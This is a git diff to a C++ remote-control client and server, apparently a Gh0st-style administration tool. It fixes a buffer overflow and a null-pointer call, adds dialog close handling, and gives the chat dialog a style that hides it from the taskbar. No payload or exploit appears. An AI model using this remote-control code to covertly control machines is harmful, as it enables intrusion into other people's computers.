diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp index 26f4fc8..66f1281 100644 --- a/client/AudioManager.cpp +++ b/client/AudioManager.cpp @@ -17,7 +17,7 @@ using namespace std; CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject) { - printf("new CAudioManager %x\n", this); + printf("new CAudioManager %p\n", this); m_bIsWorking = FALSE; m_AudioObject = NULL; @@ -110,7 +110,7 @@ CAudioManager::~CAudioManager() delete [] szPacket; szPacket = NULL; } - printf("~CAudioManager %x\n", this); + printf("~CAudioManager %p\n", this); } //USB diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 7039f8f..bf8a30d 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -133,6 +133,14 @@ int main(int argc, const char *argv[]) } printf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()); + // 获取当前模块的句柄(HINSTANCE) + g_hInstance = GetModuleHandle(NULL); + if (g_hInstance != NULL) { + std::cout << "HINSTANCE: " << g_hInstance << std::endl; + } else { + std::cerr << "Failed to get HINSTANCE" << std::endl; + } + do{ g_bExit = 0; HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL); diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index cfe54c5..e80242e 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -266,8 +266,9 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength) //解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态 //由于m_pManager中的子类不一样造成调用的OnReceive函数不一样 - m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0), - m_DeCompressedBuffer.GetBufferLength()); + if (m_Manager) + m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0), + m_DeCompressedBuffer.GetBufferLength()); } else{ printf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength); diff --git a/client/TalkManager.cpp b/client/TalkManager.cpp index 696b026..ef026e5 100644 --- a/client/TalkManager.cpp +++ b/client/TalkManager.cpp @@ -20,7 +20,7 @@ using namespace std; ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// -char g_Buffer[0x1000] = {0}; +char g_Buffer[TALK_DLG_MAXLEN] = {0}; UINT_PTR g_Event = 0; IOCPClient* g_IOCPClientObject = NULL; @@ -33,6 +33,7 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObjec m_ClientObject->OnServerSending((char*)&bToken, 1); g_IOCPClientObject = ClientObject; WaitForDialogOpen(); + cout << "Talk 构造\n"; } CTalkManager::~CTalkManager() @@ -52,7 +53,7 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength) default: { - memcpy(g_Buffer, szBuffer, ulLength); + memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer))); //创建一个DLG DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG), NULL,DialogProc); //SDK C MFC C++ @@ -73,9 +74,26 @@ int CALLBACK CTalkManager::DialogProc(HWND hDlg, unsigned int uMsg, } case WM_INITDIALOG: { + // 获取当前窗口样式 + LONG_PTR exStyle = GetWindowLongPtr(hDlg, GWL_EXSTYLE); + // 移除 WS_EX_APPWINDOW 样式,添加 WS_EX_TOOLWINDOW 样式 + exStyle &= ~WS_EX_APPWINDOW; + exStyle |= WS_EX_TOOLWINDOW; + SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle); + OnInitDialog(hDlg); break; } + case WM_COMMAND: + if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) + { + KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW); + BYTE bToken = TOKEN_TALKCMPLT; + g_IOCPClientObject->OnServerSending((char*)&bToken, 1); + EndDialog(hDlg, LOWORD(wParam)); + return (INT_PTR)TRUE; + } + break; } return 0; diff --git a/common/commands.h b/common/commands.h index 8e3e095..331c224 100644 --- a/common/commands.h +++ b/common/commands.h @@ -17,6 +17,8 @@ // 当程序功能明显发生变化时,应该更新这个值,以便对被控程序进行区分 #define DLL_VERSION "20241229" // DLL版本 +#define TALK_DLG_MAXLEN 1024 // 最大输入字符长度 + // 命令枚举列表 enum { diff --git a/server/2015Remote/TalkDlg.cpp b/server/2015Remote/TalkDlg.cpp index 52b2c99..1f39915 100644 --- a/server/2015Remote/TalkDlg.cpp +++ b/server/2015Remote/TalkDlg.cpp @@ -25,7 +25,7 @@ void CTalkDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); DDX_Control(pDX, IDC_EDIT_TALK, m_EditTalk); - m_EditTalk.SetLimitText(2048); + m_EditTalk.SetLimitText(TALK_DLG_MAXLEN); }